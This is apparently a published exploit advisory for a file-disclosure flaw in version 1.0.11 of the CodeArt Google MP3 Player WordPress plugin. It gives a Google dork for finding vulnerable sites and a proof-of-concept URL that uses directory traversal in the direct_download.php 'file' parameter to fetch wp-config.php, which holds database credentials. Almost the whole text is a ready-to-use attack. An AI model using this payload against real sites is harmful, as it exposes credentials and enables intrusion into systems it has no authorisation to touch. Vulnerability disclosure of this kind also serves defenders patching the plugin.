CodeArt Google MP3 Player Wordpress Plugin - File Disclosure Download

# Exploit Title: Wordpress CodeArt Google MP3 Player plugin - File

Disclosure Download

 

# Google Dork:

inurl:/wp-content/plugins/google-mp3-audio-player/direct_download.php?file=

 

# Date: 02/12/2014

 

# Exploit Author: QK14 Team

 

# Vendor Homepage: https://wordpress.org/plugins/google-mp3-audio-player/

 

# Software Link: https://wordpress.org/plugins/google-mp3-audio-player/

 

# Version: 1.0.11

 

# http://wordpressa.quantika14.com/repository/index.php?id=14

 

 

Proof Of Concept : 




http://localhost/wp-content/plugins/google-mp3-audio-player/direct_downlo

ad.php?file=../../../wp-config.php